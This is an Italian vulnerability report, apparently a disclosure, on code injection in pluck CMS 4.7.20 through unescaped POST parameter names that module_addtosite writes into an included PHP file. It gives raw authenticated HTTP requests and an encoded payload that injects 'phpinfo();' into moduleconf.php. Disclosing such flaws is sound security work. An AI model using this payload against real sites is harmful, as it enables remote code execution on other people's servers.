
pluck-CMS-4.7.20-code-injection-vulnerability
In admin.php, la funzione module_addtosite itera sull'intero array $_POST, suddivide i nomi dei parametri controllabili dall'utente utilizzando explode('|', ...) e li concatena direttamente in data/settings/themes//moduleconf.php. Questo file verrà successivamente incluso nella pagina backend e nel processo di rendering frontend theme_area(). Poiché i nomi dei parametri non hanno subito una verifica tramite whitelist né un escaping di sicurezza, gli attaccanti possono contaminare file PHP eseguibili, portando a vulnerabilità di code injection.
Indirizzo del progetto: https://github.com/pluck-cms/pluck/
Ambiente di riproduzione: pluck-CMS-4.7.20 Apache2.4.39 PHP7.3.4 MySQL8.0.12
1、Innanzitutto, installare un ambiente completamente nuovo.
2、Accedere alla pagina "/login.php", effettuare il login con l'account amministratore e, dopo il login riuscito, annotare il Cookie corrente come segue: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
GET /admin.php?action=start HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/login.php
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
3、Inviare un pacchetto dati POST, con il codice iniettato "phpinfo();"
POST /admin.php?action=module_addtosite HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/admin.php?action=start
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
save=1%3Bphpinfo%28%29%3B%2F%2F%7Cm%3D11
4、Accedere alla directory root del sito web e verrà reindirizzato alla homepage. Si scopre che il codice iniettato è stato eseguito. 图片